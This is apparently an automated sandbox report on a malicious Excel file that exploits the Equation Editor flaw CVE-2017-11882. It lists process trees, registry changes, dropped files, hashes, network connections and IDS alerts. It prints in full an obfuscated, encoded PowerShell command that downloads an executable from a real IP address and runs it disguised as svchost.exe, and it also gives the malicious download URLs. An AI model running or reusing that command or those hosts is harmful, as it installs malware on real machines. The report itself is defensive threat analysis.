| File name: | MP.I005918-01052 INQUIRY.xlsx |
| Full analysis: | https://app.any.run/tasks/980babbb-2621-48b4-bf49-dc446bb69ea7 |
| Verdict: | Malicious activity |
| Threats: | A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. |
| Analysis date: | December 18, 2018, 11:02:09 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/encrypted |
| File info: | CDFV2 Encrypted |
| MD5: | 2BD85C6CD538F57EEC73D00C91D03270 |
| SHA1: | 7E71E81C0B94A422F029F7E722E63EB5E20CCA6E |
| SHA256: | 7FA992F2402797689CDC81B85A4CCC9D7EF8FDAAA0AC7877B4AAF950005BC061 |
| SSDEEP: | 1536:e45WIhYycCVDzzixLEFj76MkIkPu2i8/0nvLmthSInf:e4MIhYKlzzixLK6jY8/EmthHf |
MALICIOUS
Equation Editor starts application (CVE-2017-11882)
- EQNEDT32.EXE (PID: 2720)
Executes PowerShell scripts
- cmd.exe (PID: 3852)
Suspicious connection from the Equation Editor
- EQNEDT32.EXE (PID: 2720)
Application was dropped or rewritten from another process
- svchost.exe (PID: 2976)
Downloads executable files from IP
- powershell.exe (PID: 2768)
Downloads executable files from the Internet
- powershell.exe (PID: 2768)
SUSPICIOUS
Executes scripts
- EQNEDT32.EXE (PID: 2720)
Starts CMD.EXE for commands execution
- WScript.exe (PID: 2364)
Creates executable files which already exist in Windows
- powershell.exe (PID: 2768)
Executable content was dropped or overwritten
- powershell.exe (PID: 2768)
Creates files in the user directory
- powershell.exe (PID: 2768)
INFO
Reads Microsoft Office registry keys
- EXCEL.EXE (PID: 2944)
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Total processes
37
Monitored processes
6
Malicious processes
3
Suspicious processes
1
Behavior graph
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Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
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| 2364 | "C:\Windows\System32\WScript.exe" "C:\Users\Public\azeeze.vbe" | C:\Windows\System32\WScript.exe | — | EQNEDT32.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.8.7600.16385 Modules
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| 2720 | "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding | C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE | svchost.exe | ||||||||||||
User: admin Company: Design Science, Inc. Integrity Level: MEDIUM Description: Microsoft Equation Editor Exit code: 0 Version: 00110900 Modules
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| 2768 | POwErSHeLl.EXe -Ex BYPAsS -NOP -w HiDdeN -Ec IAAJAAkAUwBlAHQALQBjAE8ATgB0AGUAbgBUAAkACQAJAC0AdgBBAAkACQAJACgAIAAgAAkAJgAoACcATgBlAHcALQBPAEIAagAnACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJwBlACcAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAnAEMAdAAnACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAApACAAIAAgAG4AZQB0AC4AdwBFAEIAQwBMAEkARQBuAFQAIAAJACAAKQAuAGQAbwB3AE4ATABPAGEARABEAGEAVABBACgAIAAgACAAHSBoAHQAdABwADoALwAvADIAMwAuADIANAA5AC4AMQA2ADEALgAxADAAMAAvAGYAcgBhAG4AawBtAC8AYQB6AGUAZQB6AC4AZQB4AGUAHSAgAAkACQApAAkAIAAJAC0ARQBOACAAIAAgAGIAWQB0AEUAIAAJAAkALQBQAEEAdABIAAkACQAJAB0gJABFAG4AdgA6AGEAcABQAGQAYQB0AEEAXABzAHYAYwBoAG8AcwB0AC4AZQB4AGUAHSAJACAAIAA7AAkAIAAJAHMAdABhAHIAdAAJAAkAIAAdICQARQBOAFYAOgBBAFAAcABkAGEAdABhAFwAcwB2AGMAaABvAHMAdAAuAGUAeABlAB0g " | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
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| 2944 | "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Excel Exit code: 0 Version: 14.0.6024.1000 Modules
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| 2976 | "C:\Users\admin\AppData\Roaming\svchost.exe" | C:\Users\admin\AppData\Roaming\svchost.exe | — | powershell.exe | |||||||||||
User: admin Company: GALIPINE6 Integrity Level: MEDIUM Description: UNIONIZED Exit code: 0 Version: 3.01.0009 Modules
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| 3852 | "C:\Windows\system32\cmd.exe" "/C POwErSHeLl.EXe -Ex BYPAsS -NOP -w HiDdeN -Ec IAAJAAkAUwBlAHQALQBjAE8ATgB0AGUAbgBUAAkACQAJAC0AdgBBAAkACQAJACgAIAAgAAkAJgAoACcATgBlAHcALQBPAEIAagAnACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJwBlACcAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAnAEMAdAAnACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAApACAAIAAgAG4AZQB0AC4AdwBFAEIAQwBMAEkARQBuAFQAIAAJACAAKQAuAGQAbwB3AE4ATABPAGEARABEAGEAVABBACgAIAAgACAAHSBoAHQAdABwADoALwAvADIAMwAuADIANAA5AC4AMQA2ADEALgAxADAAMAAvAGYAcgBhAG4AawBtAC8AYQB6AGUAZQB6AC4AZQB4AGUAHSAgAAkACQApAAkAIAAJAC0ARQBOACAAIAAgAGIAWQB0AEUAIAAJAAkALQBQAEEAdABIAAkACQAJAB0gJABFAG4AdgA6AGEAcABQAGQAYQB0AEEAXABzAHYAYwBoAG8AcwB0AC4AZQB4AGUAHSAJACAAIAA7AAkAIAAJAHMAdABhAHIAdAAJAAkAIAAdICQARQBOAFYAOgBBAFAAcABkAGEAdABhAFwAcwB2AGMAaABvAHMAdAAuAGUAeABlAB0g " | C:\Windows\system32\cmd.exe | — | WScript.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
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Total events
1 194
Read events
1 071
Write events
116
Delete events
7
Modification events
| (PID) Process: | (2944) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems |
| Operation: | write | Name: | {+? |
Value: 7B2B3F00800B0000010000000000000000000000 | |||
| (PID) Process: | (2944) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: Off | |||
| (PID) Process: | (2944) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: On | |||
| (PID) Process: | (2944) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel |
| Operation: | write | Name: | MTTT |
Value: 800B0000FC99A428C196D40100000000 | |||
| (PID) Process: | (2944) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems |
| Operation: | delete value | Name: | {+? |
Value: 7B2B3F00800B0000010000000000000000000000 | |||
| (PID) Process: | (2944) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems |
| Operation: | delete key | Name: | |
Value: | |||
| (PID) Process: | (2944) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency |
| Operation: | delete key | Name: | |
Value: | |||
| (PID) Process: | (2720) EQNEDT32.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109E60090400000000000F01FEC\Usage |
| Operation: | write | Name: | EquationEditorFilesIntl_1033 |
Value: 1301413891 | |||
| (PID) Process: | (2944) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
| (PID) Process: | (2944) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | AutoDetect |
Value: 1 | |||
Executable files
1
Suspicious files
2
Text files
0
Unknown types
2
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2944 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\CVRA7FB.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2768 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\EEOPJXCHSVIDKN6QM2UZ.temp | — | |
MD5:— | SHA256:— | |||
| 2768 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF13b2d8.TMP | binary | |
MD5:— | SHA256:— | |||
| 2720 | EQNEDT32.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\RB73MZ6Y\azeeze[1].vbe | vbe | |
MD5:— | SHA256:— | |||
| 2768 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:— | SHA256:— | |||
| 2768 | powershell.exe | C:\Users\admin\AppData\Roaming\svchost.exe | executable | |
MD5:— | SHA256:— | |||
| 2720 | EQNEDT32.EXE | C:\Users\Public\azeeze.vbe | vbe | |
MD5:— | SHA256:— | |||
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HTTP(S) requests
2
TCP/UDP connections
2
DNS requests
0
Threats
5
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2720 | EQNEDT32.EXE | GET | 200 | 23.249.161.100:80 | http://23.249.161.100/frankm/azeeze.vbe | US | vbe | 2.00 Kb | malicious |
2768 | powershell.exe | GET | 200 | 23.249.161.100:80 | http://23.249.161.100/frankm/azeez.exe | US | executable | 617 Kb | malicious |
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Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2720 | EQNEDT32.EXE | 23.249.161.100:80 | — | ColoCrossing | US | malicious |
2768 | powershell.exe | 23.249.161.100:80 | — | ColoCrossing | US | malicious |
DNS requests
Threats
PID | Process | Class | Message |
|---|---|---|---|
2720 | EQNEDT32.EXE | A Network Trojan was detected | ET INFO Microsoft Script Encoder Encoded File |
2768 | powershell.exe | A Network Trojan was detected | ET INFO Executable Download from dotted-quad Host |
2768 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
2768 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
2768 | powershell.exe | Potentially Bad Traffic | ET INFO SUSPICIOUS Dotted Quad Host MZ Response |